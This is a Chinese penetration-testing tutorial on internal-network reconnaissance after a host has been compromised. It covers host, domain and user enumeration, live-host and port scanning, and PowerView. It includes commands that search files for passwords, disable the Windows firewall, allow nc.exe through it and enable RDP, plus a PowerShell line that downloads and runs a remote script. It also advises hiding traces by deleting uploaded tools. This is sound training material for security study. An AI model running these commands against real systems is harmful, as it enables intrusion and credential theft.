1. 程式人生 > 其它 >滲透測試-23:內網資訊收集

滲透測試-23:內網資訊收集

內網資訊收集的作用

可以通過資訊收集判斷當前裝置的角色、當前網路的環境、當前所屬的區域,繪製出大概的內網整體的拓撲結構圖

區域:

普通辦公區裝置
DMZ區域的WEB伺服器
內網普通WEB伺服器
開發測試伺服器
檔案共享伺服器
代理伺服器
DNS伺服器
核心業務系統伺服器

裝置資訊:

裝置提供服務
裝置所處位置
裝置主機名
裝置內部檔案
裝置網路連線

裝置關鍵資訊

作業系統
系統版本
系統服務
系統埠
系統程序
系統補丁
內網IP地址段
系統許可權
系統共享
網路連線
防毒軟體
使用者角色

敏感資訊收集

資料、檔案和資料

資料和檔案定位
定位內部人事組織架構
監視等重要人員
監視人員裝置
人員存放文件的位置
列舉文件伺服器目錄

核心業務機器

高階管理、人事、財務等個人電腦
產品管理系統伺服器
辦公系統伺服器
財務應用系統伺服器
核心產品原始碼伺服器
資料庫伺服器
檔案/共享伺服器
電子郵件伺服器
網路監控伺服器
供應鏈伺服器

敏感資訊和檔案

網站原始碼備份檔案、資料庫備份檔案
各類資料庫的WEB管理/後臺入口
瀏覽器密碼和瀏覽器Cookie
遠端桌面連線
回收站
個人及伺服器相關密碼
無線密碼
各類系統賬號和密碼等
瀏覽器瀏覽記錄

應用與檔案形式資訊收集

  • 拿下一臺機器後要先維權,許可權穩了再收集資訊,資訊收集一定要全面仔細,資訊收集完了再搞內網
  • 往目標主機中傳工具用完就刪
  • 翻檔案的話,可以使用一些搜尋命令來快速尋找
# 指定目錄下的檔案中搜集各種賬號密碼:
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak

前後端基本架構

滲透測試人員需要對目標網站的基本情況進行簡單的判斷,分析目標伺服器所使用的web伺服器、後端指令碼、資料庫、系統平臺等

# 常見的web架構
ASP + Access + IIS 5.0/6.0 + Windows Server 2003
ASPX + MSSQL + IIS 7.0/7.5 + Windows Server 2008
PHP + MySQL + Apache
PHP + MySQL + IIS
PHP + MySQL + Nginx
JSP + MySQL + Nginx
JSP + MSSQL + Tomcat
JSP + Oracle + Tomcat

本機資訊收集

Windows Linux
網路 ipconfig /all ifconfig
作業系統 - systeminfo | findstr OS
- systeminfo | findstr "KB"
- systeminf0 | findstr /B /C:"OS 名稱" /C:"OS 版本"
- echo %PROCESSOR_ARCHITECTURE%
- uname –a
- cat /proc/version
軟體及版本 - wmic product get name,version
- powershell "get-wmiobject -class win32_product | select-object -property name,version"
- dpkg –l
- dpkg –l <軟體名稱>
服務 - wmic service list brief
- net start
- 檢測是否安裝殺軟:https://www.ddosi.org/av/1.php
- service --status-all
- service <服務名> status
程序 - tasklist
- wmic process get name,processid
- ps –aux
- ps –ef
- ps –aux | gerp ftp
啟動程式 wmic startup get command,caption dmesg
計劃任務 - at
- schtasks
- net start
- chcp 437 && schtasks /query /fo LIST /v > tasks.txt
crontab -l
開機時間 net statistics workstation - cat /proc/uptime
- date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S"
- cat /proc/uptime | awk -F. '{run_days=$1/86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系統已執行:%d天%d時%d分%d秒",run_days,run_hour,run_minute,run_second)}'
使用者 - 本機使用者列表:net user
- 本地管理員組資訊:net localgroup administrators
- 當前線上使用者:query user
- cat /etc/passwd
- cat /etc/group
會話 net session
netstat –ano netstat –antpl
補丁 - systeminfo
- wmic qfe get Caption,Description,HotFixID,InstalledOn
共享 - net share
- wmic share get name,path,status
路由及ARP - route print
- arp -a
- route
- arp –a
防火牆 - 檢視防火牆配置:netsh firewall show config
- 關閉防火牆配置:netsh firewall set opmode disable
- 關閉防火牆配置:netsh advfirewall set allprofiles state off
- 允許指定程式全部連結:netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
- 允許指定程式入站:netsh advfirewall firewall add rule name= "pass nc" dir=in action=allow program="C:\nc.exe"
- 允許指定程式出站:netsh advfirewall firewall add rule name= "out nc" dir=out action=allow program="C:\nc.exe"
- 允許RDP(3389)埠放行:netsh advfirewall firewall add rule name= "Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 自定義防火牆日誌的儲存位置:netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
代理 - 代理配置:reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
遠端 - 檢視遠端連線埠(16進位制需要轉成10進位制):reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
- 檢視遠端桌面開啟狀態:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD
- 開啟遠端桌面:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
- 關閉遠端桌面:wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
- 關閉遠端桌面:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 1 /f
許可權及SID whoami /all whoami

自動收集資訊

為了簡化操作,可以建立一個指令碼, 在目標機器上完成流程、服務、使用者賬號、使用者組、網時區等資訊的查詢工作。

利用 WMIC 進行資訊收集:建立 wmic.bat 檔案 寫入如下內容,執行後生成 .html 檔案

for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> sysinfo.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> sysinfo.html
wmic USERACCOUNT list full /format:"%var%" >> sysinfo.html
wmic group list full /format:"%var%" >> sysinfo.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> sysinfo.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> sysinfo.html
wmic netuse list full /format:"%var%" >> sysinfo.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> sysinfo.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> sysinfo.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> sysinfo.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> sysinfo.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> sysinfo.html

域內資訊收集

描述 命令
查詢域名 ipconfig /all
查詢DNS的記錄 nslookup <域名>
存在使用者 dsquery user
域內使用者詳細資訊 wmic useraccount get /all
判斷主域控 netdom query pdc
用時間伺服器判斷主域 net time /domain
當前登入域及使用者資訊 net config workstation
查詢域 net view /domain
域內所有計算機 net view /domain:<域名>
所有域使用者列表 net user /domain
本地管理員組使用者 net localgroup administrators
查詢域內所有使用者 net group /domain
域管理員列表 net group "domain admins" /domain
企業管理員列表 net group "Enterprise admins" /domain
域成員計算機列表 net group "domain computers" /domain
域控列表 net group "domain controllers" /domain
域密碼策略資訊 net accounts /domain
域信任資訊 nltest /domain_trusts
域控主機名 nltest /DCLIST:<域名>
域管理程序 tasklist -v

域內活躍主機探測

NetBIOS掃描

  • NetBIOS(Network Basic Input/Output System)即網路基本輸入/輸出系統協議
  • NetBIOS 協議是一種在區域網上的程式可以使用的應用程式程式設計介面(API),為程式提供了請求低階服務的統一的命令集,作用是為了給區域網提供網路以及其他特殊功能,幾乎所有的區域網都是在 NetBIOS 協議的基礎上工作的
  • nbtscan.exe 是一個命令列工具,可以掃描本地或者遠端網路上開放的 NetBIOS 名稱服務,可以獲取對應的域名資訊
  • 某些版本的 windows 作業系統允許使用者通過 NetBOIS 查詢已登入使用者,可用通過指令碼掃描遠端系統活躍域中的管理會話
nbtscan.exe -h
nbtscan.exe -m <xxx.xxx.xxx.0>/24

# 掃描遠端系統的 NetBOIS 資訊
for /F %i in (ips.txt) do @echo [+]Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && for /F %n in (names.txt) do @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

ICMP掃描

ICMP 協議全稱為 Internet Control Message Protocol (Internet控制報文協議),依次對內網中的每個 IP 地址執行 ping 命令,可以快速找到內網中全部存活的主機

for /L %I in (1,1,254) Do @ping -w 1 -n 1 <xxx.xxx.xxx>.%I | findstr "TTL="

ARP掃描

地址解析協議,即 ARP(Address Resolution Protocol),是根據 IP 地址獲取實體地址的一個 CP/IP 協議。主機發送資訊時將包含目標 IP 地址的 ARP 請求廣播到區域網絡上的所有主機,並接收返回訊息,以此確定目標的實體地址

arp-scan.exe -t <xxx.xxx.xxx.0>/24

Nishang指令碼

專案地址:https://github.com/samratashok/nishang

powershell -exec bypass -Command "& {Import-Module C:\Users\Administrator\Desktop\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.253.0/24}"

域內埠掃描

Metasploit

# 進入 msf 命令列
msfconsole

# 搜尋埠掃描模組
search portscan

# 使用TCP掃描模組
use auxiliary/scanner/portscan/tcp

# 檢視需要設定的引數
show options

# 設定掃描目標的IP
set rhosts <目標IP>

# 設定要掃描的埠
set ports <埠1>,<埠2>,<埠3>,...

# 開始掃描
run

banner資訊

常需掃描的埠有:22,80-89,110,389,1099,1433,2059,6379,7001,8080,1521,3306,3389,5432,53,161,137,139

服務 入侵方式
21 ftp/tftp/vsftpd檔案傳輸協議 爆破/嗅探/溢位/後門
22 ssh遠端連線 爆破/openssh漏洞
23 Telnet遠端連線 爆破/嗅探/弱口令
25 SMTP郵件服務 郵件偽造
53 DNS域名解析系統 域傳送/劫持/快取投毒/欺騙
67/68 DHCP服務 劫持/欺騙
110 pop3 爆破/嗅探
139 Samba服務 爆破/未授權訪問/遠端命令執行
143 Imap協議 爆破
161 SNMP協議 爆破/蒐集目標內網資訊
389 Ldap目錄訪問協議 注入/未授權訪問/弱口令
445 smb ms17-010/埠移出
512/513/514 Linux Rexec服務 爆破/Rlogin登入
873 Rsync服務 檔案上傳/未授權訪問
1080 socket 爆破
1352 Lotus domino郵件服務 爆破/資訊洩露
1433 mssql 爆破/注入/SA弱口令
1521 oracle 爆破/注入/TNS爆破/反彈shell
2049 Nfs服務 配置不當
2181 zookeeper服務 未授權訪問
2375 docker remote api 未授權訪問
3306 mysql 爆破/注入
3389 Rdp遠端桌面連結 爆破/shift後門
4848 GlassFish控制檯 爆破/認證繞過
5000 sybase/DB2資料庫 爆破/注入/提權
5432 postgresql 爆破/注入/緩衝區溢位
5632 pcanywhere服務 抓密碼/程式碼執行
5900 vnc 爆破/認證繞過
6379 Redis資料庫 未授權訪問/爆破
7001/7002 weblogic java反序列化/控制檯弱口令
80/443 http/https web應用漏洞/心臟滴血
8069 zabbix服務 遠端命令執行/注入
8161 activemq 弱口令/寫檔案
8080/8089 Jboss/Tomcat/Resin 爆破/PUT檔案上傳/反序列化
8083/8086 influxDB 未授權訪問
9000 fastcgi 遠端命令執行
9090 Websphere控制檯 爆破/java反序列化/弱口令
9200/9300 elasticsearch 遠端程式碼執行
11211 memcached 未授權訪問
27017/27018 mongodb 未授權訪問/爆破

定位域管理員

psloggedon

  • 在 Windows 上可以執行 net session 來檢視誰使用了本機資源,但是沒有命令可用來檢視誰在使用了遠端計算機資源,誰登陸了遠端計算機資源,使用 psloggedon 可以解決這一問題。

  • 地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

  • 用法:psloggedon [- ] [-l] [-x] [\\computername | username]

PVEFindADUser

  • 用於查詢活動目錄使用者登入位置,列舉域使用者,查詢在特定計算機上登入的使用者,包括本地使用者,通過RDP登入的使用者,用於執行服務和計劃任務的使用者。執行該工具需要 .NET Framework2.0 環境,並且具備管理員許可權。

  • 用法:PVEFindADUser.exe -current

netview

  • 使用 WinAPI 列舉系統,利用 NetSessionEnum 找尋登入會話,利用 NetShareEnum 找尋共享,利用 NetWkstaUserEnum 列舉登入的使用者。大部分功能不需要管理員許可權。

  • 地址:https://github.com/mubix/netview

PowerView(常用)

PowerShell收集資訊

PowerShell是微軟推出的一款滿足管理員對作業系統及應用程式擴充套件需求的一個指令碼環境,是cmd.exe的加強版

4種執行許可權

  • Restricted - 預設的設定,不允許任何script執行
  • AllSigned - 只能執行經過數字證書籤名的script
  • RemoteSigned - 本地指令碼不做限制,網路上下載的script就必須要有數字簽名
  • Unrestricted - 允許所有的script執行,許可權最高

指令碼地址:https://github.com/PowerShellEmpire/PowerTools

# 檢視當前許可權
Get-ExecutionPolicy

# 修改許可權
Set-ExecutionPolicy <Unrestricted> 

# 匯入指令碼
Import-Module <powerview.ps1>

# 繞過許可權
powershell -exec bypass "import-module ./<powerview.ps1>;<命令>"
powershell -exec bypass -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<遠端IP>/<powerview.ps1>');<命令>"

PowerView

PowerView 是一款依賴 Powershell 和 WMI 對內網進行查詢的滲透測試指令碼

常用命令

命令 描述
Get-NetDomain 獲取當前使用者所在域的名稱
Get-NetUser 獲取所有使用者的詳細資訊
Get-NetDomainController 獲取所有域控制器的資訊
Get-NetComputer 獲取域內所有機器的詳細資訊
Get-NetPrinter 獲取域中所有當前計算機物件的陣列
Get-NetOU 獲取域內的OU資訊
Get-NetGroup 獲取所有域內組和組成員的資訊
Get-NetGroupMember 獲取指定域組中所有當前使用者的列表
Get-NetFileServer 根據SPN獲取當前域使用的檔案伺服器資訊
Get-NetShare 獲取當前域內所有的網路共享資訊
Get-DFSshare 獲取域上所有分發檔案系統共享的列表
Get-NetSubnet 獲取域的其他網段
Get-NetSite 獲取域內的當前站點
Get-NetDomainTrust 獲取當前使用者域的所有信任
Get-NetForestTrust 獲取與當前使用者的域關聯的林的所有信任
Find-ForeignUser 列舉在其主域之外的組中的使用者
Find-ForeignGroup 列舉域組的所有成員並查詢查詢域之外的使用者
Invoke-MapDomainTrust 嘗試構建所有域信任的關係對映
Get-NetLoggedon 獲取主動登入到指定伺服器的使用者
Get-NetLocalGroup 獲取一個或多個遠端主機上本地組的成員
Get-NetSession 獲取指定伺服器的會話
Get-NetRDPSession 獲取指定伺服器的遠端連線
Get-NetProcess 獲取遠端主機的程序
Get-UserEvent 獲取指定使用者的日誌
Get-ADObject 獲取活動目錄的物件
Get-NetGPO 獲取域內所有的組策略物件
Get-NetGPOGroup 獲取域中設定”受限組”的所有GPO
Find-GPOLocation 獲取使用者/組,並通過GPO列舉和關聯使其具有有效許可權的計算機
Find-GPOComputerAdmin 獲取計算機並通過GPO列舉確定誰對其具有管理許可權
Get-DomainPolicy 獲取域預設策略或域控制器策略
Get-DomainSID 返回指定域的SID
Invoke-UserHunter 獲取域使用者登入的計算機資訊及該使用者是否有本地管理員許可權
Invoke-ProcessHunter 通過查詢域內所有的機器程序找到特定使用者
Invoke-UserEventHunter 根據使用者日誌查詢某域使用者登陸過哪些域機器
Invoke-ShareFinder 在本地域中的主機上查詢(非標準)共享
Invoke-FileFinder 在本地域中的主機上查詢潛在的敏感檔案
Find-LocalAdminAccess 在域上查詢當前使用者具有本地管理員訪問許可權的計算機
Find-ManagedSecurityGroups 搜尋受管理的活動目錄安全組並標識對其具有寫訪問許可權的使用者,即這些組擁有新增或刪除成員的能力
Get-ExploitableSystem 發現系統可能易受常見攻擊
Invoke-EnumerateLocalAdmin 列舉域中所有計算機上本地管理員組的成員